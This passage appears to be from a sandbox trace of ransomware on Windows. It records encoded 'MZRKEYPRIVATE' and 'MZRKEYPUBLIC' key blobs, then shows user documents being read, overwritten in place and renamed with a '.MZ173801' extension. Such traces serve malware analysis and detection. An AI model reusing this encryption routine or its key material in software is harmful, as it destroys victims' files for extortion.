McwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.286] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0167.287] GetCurrentThreadId () returned 0xab4 [0167.287] GetCurrentThreadId () returned 0xab4 [0167.287] GetCurrentThreadId () returned 0xab4 [0167.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.288] GetCurrentThreadId () returned 0xab4 [0167.288] GetCurrentThreadId () returned 0xab4 [0167.288] GetCurrentThreadId () returned 0xab4 [0167.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4fnqeRI1O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\4fnqeri1o.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.289] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0167.289] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.289] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xd3fb [0167.289] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.289] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xd3fb, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xd3fb, lpOverlapped=0x0) returned 1 [0167.293] CloseHandle (hObject=0x278) returned 1 [0167.294] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4fnqeRI1O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\4fnqeri1o.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.296] WriteFile (in: hFile=0x278, lpBuffer=0x24ae040*, nNumberOfBytesToWrite=0xd3fb, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ae040*, lpNumberOfBytesWritten=0x19fa24*=0xd3fb, lpOverlapped=0x0) returned 1 [0167.399] CloseHandle (hObject=0x278) returned 1 [0167.403] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\4fnqeRI1O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\4fnqeri1o.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\4fnqeRI1O.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\4fnqeri1o.pptx.mz173801")) returned 1 [0167.403] GetCurrentThreadId () returned 0xab4 [0167.403] GetCurrentThreadId () returned 0xab4 [0167.403] GetCurrentThreadId () returned 0xab4 [0167.403] GetCurrentThreadId () returned 0xab4 [0167.403] GetCurrentThreadId () returned 0xab4 [0167.404] GetCurrentThreadId () returned 0xab4 [0167.404] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd04ac0, ftCreationTime.dwHighDateTime=0x1d5a46f, ftLastAccessTime.dwLowDateTime=0xc634a160, ftLastAccessTime.dwHighDateTime=0x1d5af9a, ftLastWriteTime.dwLowDateTime=0xc634a160, ftLastWriteTime.dwHighDateTime=0x1d5af9a, nFileSizeHigh=0x0, nFileSizeLow=0x5a50, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="aIJExqDF7Y-Vj3MR.docx", cAlternateFileName="AIJEXQ~1.DOC")) returned 1 [0167.404] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0167.404] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0167.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\aIJExqDF7Y-Vj3MR.docx" (normalized: "c:\\users\\fd1hvy\\documents\\aijexqdf7y-vj3mr.docx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd04ac0, ftCreationTime.dwHighDateTime=0x1d5a46f, ftLastAccessTime.dwLowDateTime=0xc634a160, ftLastAccessTime.dwHighDateTime=0x1d5af9a, ftLastWriteTime.dwLowDateTime=0xc634a160, ftLastWriteTime.dwHighDateTime=0x1d5af9a, nFileSizeHigh=0x0, nFileSizeLow=0x5a50)) returned 1 [0167.421] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\aIJExqDF7Y-Vj3MR.docx" (normalized: "c:\\users\\fd1hvy\\documents\\aijexqdf7y-vj3mr.docx")) returned 0x20 [0167.453] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\aIJExqDF7Y-Vj3MR.docx", dwFileAttributes=0x80) returned 1 [0167.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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